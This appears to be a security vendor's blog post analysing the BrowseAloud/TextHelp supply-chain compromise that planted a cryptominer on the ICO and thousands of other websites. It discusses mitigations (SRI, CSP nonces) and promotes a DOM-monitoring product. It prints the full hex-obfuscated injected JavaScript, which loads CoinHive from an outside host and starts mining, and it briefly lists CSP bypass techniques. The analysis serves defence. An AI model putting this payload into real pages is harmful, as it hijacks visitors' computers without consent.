Obviously, this wasn’t the intention of the ICO, an institution that helps protect privacy for UK users. It resulted from a compromise to a 3rd party provider, TextHelp, used in ICO’s website. This was flagged by Scott Helme - securityheaders.io and report-uri.com founder - after a tip from Ian Trump, another security expert.
ICO’s website was loading this file:
This was the bit that was added to the ba.js script:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()+"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74\x3e \x69\x66 \x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 \x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c \x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
The code has a very light obfuscation that just uses Subscript Notation to transform
window[‘document’][‘write’] - and subsequently String Encoding to hide all sensitive strings like ‘document’ and ‘write’ and also the references to CoinHive’s URL and code.
Here is a reversed version:
It turns out that the ICO wasn’t the only website affected. More than 4000 websites reported to be loading the infected script directly from browsealoud.com website.
This isn’t too different from the alleged attack against jQuery’s CDN that RiskIQ claims was serving the RIG exploit kit to every user of every website loading jQuery’s directly from their CDN lasting a few hours before the injection was removed. This is far too appealing to attackers that can compromise users at scale by attacking dependencies being loaded dynamically.
The focus of those attacks seems to be shifting to Cryptojacking. Many examples of websites have been compromised recently. jQuery’s blog is one example. The attack on TextHelp is just one of the most recent ones.
Mitigation using CSP + SRI
As pointed out by Scott Helme, one way to mitigate this is to add Subresource integrity (SRI) attributes to the script elements loading the external scripts. He even suggested complementing that with using CSP’s
require-sri-for directive to enforce the use of SRI tags.
This is a good suggestion, but it doesn’t work very well if the dependency script needs to be updated regularly, which seems to be the case. A good compromise can be to use CSP to limit the domains where the script is being loaded from.
But this is not perfect. It probably leaves room for injecting arbitrary scripts depending on what domains are allowlisted. This was brilliantly covered by Michele Spagnuolo and Lukas Weichselbaum here. But basically, there are plenty of ways for this to happen. A few examples:
- JSONP callback endpoints
- Bypasses using AngularJS and other JS frameworks - there are documented CSP bypasses that may allow an attacker to inject arbitrary JS in the page
- Use an open redirect on a allowlisted domain, as the path is ignored by CSP after a redirect
The take away from this is that it is really hard to do allowlist-based CSP and skilled attackers will probably find bypasses. A better solution is to use CSP nonces, a base64-encoded sequence that must be unique each time your page loads and must be set as an attribute to both inline and external scripts. This way, the injected script has no way of anticipating the valid nonce and loading will fail. However, in this attack specifically, the bad guy could easily inject the whole coinhive.js file, which would get past the CSP (but not the SRI).
Regarding CSP, a word of caution, as any header-based web security control can be disarmed by a browser extension.
Mitigation using Real-time Monitoring of the Webpage
If there’s no infallible way of being sure malicious code or markup is injected into your website, then the next best thing is to know about it and react in real-time. That’s precisely what one is able to do with Jscrambler’s Webpage Integrity technology. It monitors the Webpage DOM for any injection and reports back to a webhook on the backend. It detects any change, including 0-day threats, not just known injections.
In some cases it can also remove the injection on the spot. It may not be a permanent removal at first, but it’s extremely useful because not only it prevents that execution from affecting that session, it also tells you what was injected. It is possible then to figure out how that injection was inserted in the first place and take measures to fix the situation permanently.
It’s similar to CSP report interface, but it does not use CSP at all. There’s some overlapping, but you get the best protection when you use both. The advantages of Webpage Integrity’s approach is that contrary to CSP, one can be warned immediately if a script changes and starts pouring script tags into the DOM, allowing for a real-time reaction. This is definitely relevant in situations where SRI is not an option (e.g. script needs to be updated in real-time).
The maliciously modified ba.js is not being served anymore from browsealoud.com, but our team replicated the attack by forcing the infected ba.js version (instead of the current one) into ICO’s website. At the same time we manually injected the Webpage Integrity Embedded Agent into ICO’s website to monitor the webpage DOM. The goal was to catch the output of the
document.write’s landing on the ICO’s webpage DOM and mitigate the attack.
Not only we were able to catch the injected
<script> loading the CoinHive’s script, but also the inline script initializing the lib and kickstarting the mining. You can see this in the dashboard (see figure below) and at the same time you receive a notification on your backend upon which you can configure security policies.
The following video is a proof-of-concept of a reconstruction of the ICO cryptojacking attack and how it would have been detected with Real-time Webpage Monitoring.
With the growing popularity (and value) of cryptocurrencies, attackers are turning to steal our computer’s cycles as a way to get cash. Cryptojacking is all over the news in the last year or so.
This TextHelp incident is just one more demonstration of how appealing this is for attackers, especially if they are able to compromise 3rd party dependencies, and target many websites in with a single blow. We are sure to see more of these attacks in the future.
Jscrambler’s Webpage Integrity is a new approach that monitors the webpage in real-time for DOM modifications, JS poisoning attacks, JS event-hijacking and XSS - and reports back to the backend, allowing the webapp to react immediately. With it, we were able to demonstrate that we can catch the injection from TextHelp’s compromised script and would have been able to notify the ICO (or any other website likely to have been hit).